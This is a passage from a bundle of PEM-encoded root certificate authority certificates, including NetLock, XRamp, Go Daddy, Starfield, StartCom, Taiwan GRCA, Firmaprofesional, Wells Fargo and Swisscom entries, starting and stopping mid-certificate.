1nGTLbO/CVRY7QbrqHvcQ7GhaQIDAQABo4ICnzCCApswEgYDVR0TAQH/BAgwBgEB/wIBBDAOBgNV HQ8BAf8EBAMCAAYwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaCAk1GSUdZ RUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pvbGdhbHRh dGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQuIEEgaGl0 ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2VnLWJpenRv c2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0ZXRlbGUg YXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFzIGxlaXJh c2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBhIGh0dHBz Oi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVub3J6ZXNA bmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBhbmQgdGhl IHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sgQ1BTIGF2 YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFpbCBhdCBj cHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4GBAATbrowXr/gOkDFOzT4JwG06sPgzTEdM 43WIEJessDgVkcYplswhwG08pXTP2IKlOcNl40JwuyKQ433bNXbhoLXan3BukxowOR0w2y7jfLKR stE3Kfq51hdcR0/jHTjrn9V7lagonhVK0dHQKwCXoOKSNitjrFgBazMpUIaD8QFI -----END CERTIFICATE----- NetLock Express (Class C) Root ============================== -----BEGIN CERTIFICATE----- MIIFTzCCBLigAwIBAgIBaDANBgkqhkiG9w0BAQQFADCBmzELMAkGA1UEBhMCSFUxETAPBgNVBAcT CEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0b25zYWdpIEtmdC4xGjAYBgNV BAsTEVRhbnVzaXR2YW55a2lhZG9rMTQwMgYDVQQDEytOZXRMb2NrIEV4cHJlc3N6IChDbGFzcyBD KSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNTE0MDgxMVoXDTE5MDIyMDE0MDgxMVowgZsxCzAJ BgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6 dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE0MDIGA1UEAxMrTmV0TG9j ayBFeHByZXNzeiAoQ2xhc3MgQykgVGFudXNpdHZhbnlraWFkbzCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEA6+ywbGGKIyWvYCDj2Z/8kwvbXY2wobNAOoLO/XXgeDIDhlqGlZHtU/qdQPzm6N3Z W3oDvV3zOwzDUXmbrVWg6dADEK8KuhRC2VImESLH0iDMgqSaqf64gXadarfSNnU+sYYJ9m5tfk63 euyucYT2BDMIJTLrdKwWRMbkQJMdf60CAwEAAaOCAp8wggKbMBIGA1UdEwEB/wQIMAYBAf8CAQQw DgYDVR0PAQH/BAQDAgAGMBEGCWCGSAGG+EIBAQQEAwIABzCCAmAGCWCGSAGG+EIBDQSCAlEWggJN RklHWUVMRU0hIEV6ZW4gdGFudXNpdHZhbnkgYSBOZXRMb2NrIEtmdC4gQWx0YWxhbm9zIFN6b2xn YWx0YXRhc2kgRmVsdGV0ZWxlaWJlbiBsZWlydCBlbGphcmFzb2sgYWxhcGphbiBrZXN6dWx0LiBB IGhpdGVsZXNpdGVzIGZvbHlhbWF0YXQgYSBOZXRMb2NrIEtmdC4gdGVybWVrZmVsZWxvc3NlZy1i aXp0b3NpdGFzYSB2ZWRpLiBBIGRpZ2l0YWxpcyBhbGFpcmFzIGVsZm9nYWRhc2FuYWsgZmVsdGV0 ZWxlIGF6IGVsb2lydCBlbGxlbm9yemVzaSBlbGphcmFzIG1lZ3RldGVsZS4gQXogZWxqYXJhcyBs ZWlyYXNhIG1lZ3RhbGFsaGF0byBhIE5ldExvY2sgS2Z0LiBJbnRlcm5ldCBob25sYXBqYW4gYSBo dHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIGNpbWVuIHZhZ3kga2VyaGV0byBheiBlbGxlbm9y emVzQG5ldGxvY2submV0IGUtbWFpbCBjaW1lbi4gSU1QT1JUQU5UISBUaGUgaXNzdWFuY2UgYW5k IHRoZSB1c2Ugb2YgdGhpcyBjZXJ0aWZpY2F0ZSBpcyBzdWJqZWN0IHRvIHRoZSBOZXRMb2NrIENQ UyBhdmFpbGFibGUgYXQgaHR0cHM6Ly93d3cubmV0bG9jay5uZXQvZG9jcyBvciBieSBlLW1haWwg YXQgY3BzQG5ldGxvY2submV0LjANBgkqhkiG9w0BAQQFAAOBgQAQrX/XDDKACtiG8XmYta3UzbM2 xJZIwVzNmtkFLp++UOv0JhQQLdRmF/iewSf98e3ke0ugbLWrmldwpu2gpO0u9f38vf5NNwgMvOOW gyL1SRt/Syu0VMGAfJlOHdCM7tCs5ZL6dVb+ZKATj7i4Fp1hBWeAyNDYpQcCNJgEjTME1A== -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM2WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9jZXJ0LnN0YXJ0 Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3JsLnN0YXJ0Y29tLm9yZy9zZnNj YS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFMBgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUH AgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRw Oi8vY2VydC5zdGFydGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYg U3RhcnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlhYmlsaXR5 LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2YgdGhlIFN0YXJ0Q29tIENl cnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFpbGFibGUgYXQgaHR0cDovL2NlcnQuc3Rh cnRjb20ub3JnL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilT dGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOC AgEAFmyZ9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8jhvh 3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUWFjgKXlf2Ysd6AgXm vB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJzewT4F+irsfMuXGRuczE6Eri8sxHk fY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3 fsNrarnDy0RLrHiQi+fHLB5LEUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZ EoalHmdkrQYuL6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuCO3NJo2pXh5Tl 1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6Vum0ABj6y6koQOdjQK/W/7HW/ lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkyShNOsF/5oirpt9P/FlUQqmMGqz9IgcgA38coro g14= -----END CERTIFICATE----- Taiwan GRCA =========== -----BEGIN CERTIFICATE----- MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5 BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O 1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7 Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8 lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2 09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2 Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk 7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy +fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS -----END CERTIFICATE----- Firmaprofesional Root CA ======================== -----BEGIN CERTIFICATE----- MIIEVzCCAz+gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCRVMxIjAgBgNVBAcT GUMvIE11bnRhbmVyIDI0NCBCYXJjZWxvbmExQjBABgNVBAMTOUF1dG9yaWRhZCBkZSBDZXJ0aWZp Y2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODEmMCQGCSqGSIb3DQEJARYXY2FA ZmlybWFwcm9mZXNpb25hbC5jb20wHhcNMDExMDI0MjIwMDAwWhcNMTMxMDI0MjIwMDAwWjCBnTEL MAkGA1UEBhMCRVMxIjAgBgNVBAcTGUMvIE11bnRhbmVyIDI0NCBCYXJjZWxvbmExQjBABgNVBAMT OUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2 ODEmMCQGCSqGSIb3DQEJARYXY2FAZmlybWFwcm9mZXNpb25hbC5jb20wggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQDnIwNvbyOlXnjOlSztlB5uCp4Bx+ow0Syd3Tfom5h5VtP8c9/Qit5V j1H5WuretXDE7aTt/6MNbg9kUDGvASdYrv5sp0ovFy3Tc9UTHI9ZpTQsHVQERc1ouKDAA6XPhUJH lShbz++AbOCQl4oBPB3zhxAwJkh91/zpnZFx/0GaqUC1N5wpIE8fUuOgfRNtVLcK3ulqTgesrBlf 3H5idPayBQC6haD9HThuy1q7hryUZzM1gywfI834yJFxzJeL764P3CkDG8A563DtwW4O2GcLiam8 NeTvtjS0pbbELaW+0MOUJEjb35bTALVmGotmBQ/dPz/LP6pemkr4tErvlTcbAgMBAAGjgZ8wgZww KgYDVR0RBCMwIYYfaHR0cDovL3d3dy5maXJtYXByb2Zlc2lvbmFsLmNvbTASBgNVHRMBAf8ECDAG AQH/AgEBMCsGA1UdEAQkMCKADzIwMDExMDI0MjIwMDAwWoEPMjAxMzEwMjQyMjAwMDBaMA4GA1Ud DwEB/wQEAwIBBjAdBgNVHQ4EFgQUMwugZtHq2s7eYpMEKFK1FH84aLcwDQYJKoZIhvcNAQEFBQAD ggEBAEdz/o0nVPD11HecJ3lXV7cVVuzH2Fi3AQL0M+2TUIiefEaxvT8Ub/GzR0iLjJcG1+p+o1wq u00vR+L4OQbJnC4xGgN49Lw4xiKLMzHwFgQEffl25EvXwOaD7FnMP97/T2u3Z36mhoEyIwOdyPdf wUpgpZKpsaSgYMN4h7Mi8yrrW6ntBas3D7Hi05V2Y1Z0jFhyGzflZKG+TQyTmAyX9odtsz/ny4Cm 7YjHX1BiAuiZdBbQ5rQ58SfLyEDW44YQqSMSkuBpQWOnryULwMWSyx6Yo1q6xTMPoJcB3X/ge9YG VM+h4k0460tQtcsm9MracEpqoeJ5quGnM/b9Sh/22WA= -----END CERTIFICATE----- Wells Fargo Root CA =================== -----BEGIN CERTIFICATE----- MIID5TCCAs2gAwIBAgIEOeSXnjANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UEBhMCVVMxFDASBgNV BAoTC1dlbGxzIEZhcmdvMSwwKgYDVQQLEyNXZWxscyBGYXJnbyBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eTEvMC0GA1UEAxMmV2VsbHMgRmFyZ28gUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcN MDAxMDExMTY0MTI4WhcNMjEwMTE0MTY0MTI4WjCBgjELMAkGA1UEBhMCVVMxFDASBgNVBAoTC1dl bGxzIEZhcmdvMSwwKgYDVQQLEyNXZWxscyBGYXJnbyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEv MC0GA1UEAxMmV2VsbHMgRmFyZ28gUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0GCSqG SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVqDM7Jvk0/82bfuUER84A4n135zHCLielTWi5MbqNQ1mX x3Oqfz1cQJ4F5aHiidlMuD+b+Qy0yGIZLEWukR5zcUHESxP9cMIlrCL1dQu3U+SlK93OvRw6esP3 E48mVJwWa2uv+9iWsWCaSOAlIiR5NM4OJgALTqv9i86C1y8IcGjBqAr5dE8Hq6T54oN+J3N0Prj5 OEL8pahbSCOz6+MlsoCultQKnMJ4msZoGK43YjdeUXWoWGPAUe5AeH6orxqg4bB4nVCMe+ez/I4j sNtlAHCEAQgAFG5Uhpq6zPk3EPbg3oQtnaSFN9OH4xXQwReQfhkhahKpdv0SAulPIV4XAgMBAAGj YTBfMA8GA1UdEwEB/wQFMAMBAf8wTAYDVR0gBEUwQzBBBgtghkgBhvt7hwcBCzAyMDAGCCsGAQUF BwIBFiRodHRwOi8vd3d3LndlbGxzZmFyZ28uY29tL2NlcnRwb2xpY3kwDQYJKoZIhvcNAQEFBQAD ggEBANIn3ZwKdyu7IvICtUpKkfnRLb7kuxpo7w6kAOnu5+/u9vnldKTC2FJYxHT7zmu1Oyl5GFrv m+0fazbuSCUlFLZWohDo7qd/0D+j0MNdJu4HzMPBJCGHHt8qElNvQRbn7a6U+oxy+hNH8Dx+rn0R OhPs7fpvcmR7nX1/Jv16+yWt6j4pf0zjAFcysLPp7VMX2YuyFA4w6OXVE8Zkr8QA1dhYJPz1j+zx x32l2w8n0cbyQIjmH/ZhqPRCyLk306m+LFZ4wnKbWV01QIroTmMatukgalHizqSQ33ZwmVxwQ023 tqcZZE6St8WRPH9IFmV7Fv3L/PvZ1dZPIWU7Sn9Ho/s= -----END CERTIFICATE----- Swisscom Root CA 1 ================== -----BEGIN CERTIFICATE----- MIIF2TCCA8GgAwIBAgIQXAuFXAvnWUHfV8w/f52oNjANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQG EwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0YWwgQ2VydGlmaWNhdGUgU2Vy dmljZXMxGzAZBgNVBAMTElN3aXNzY29tIFJvb3QgQ0EgMTAeFw0wNTA4MTgxMjA2MjBaFw0yNTA4 MTgyMjA2MjBaMGQxCzAJBgNVBAYTAmNoMREwDwYDVQQKEwhTd2lzc2NvbTElMCMGA1UECxMcRGln aXRhbCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEbMBkGA1UEAxMSU3dpc3Njb20gUm9vdCBDQSAxMIIC IjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0LmwqAzZuz8h+BvVM5OAFmUgdbI9m2BtRsiM MW8Xw/qabFbtPMWRV8PNq5ZJkCoZSx6jbVfd8StiKHVFXqrWW/oLJdihFvkcxC7mlSpnzNApbjyF NDhhSbEAn9Y6cV9Nbc5fuankiX9qUvrKm/LcqfmdmUc/TilftKaNXXsLmREDA/7n29uj/x2lzZAe 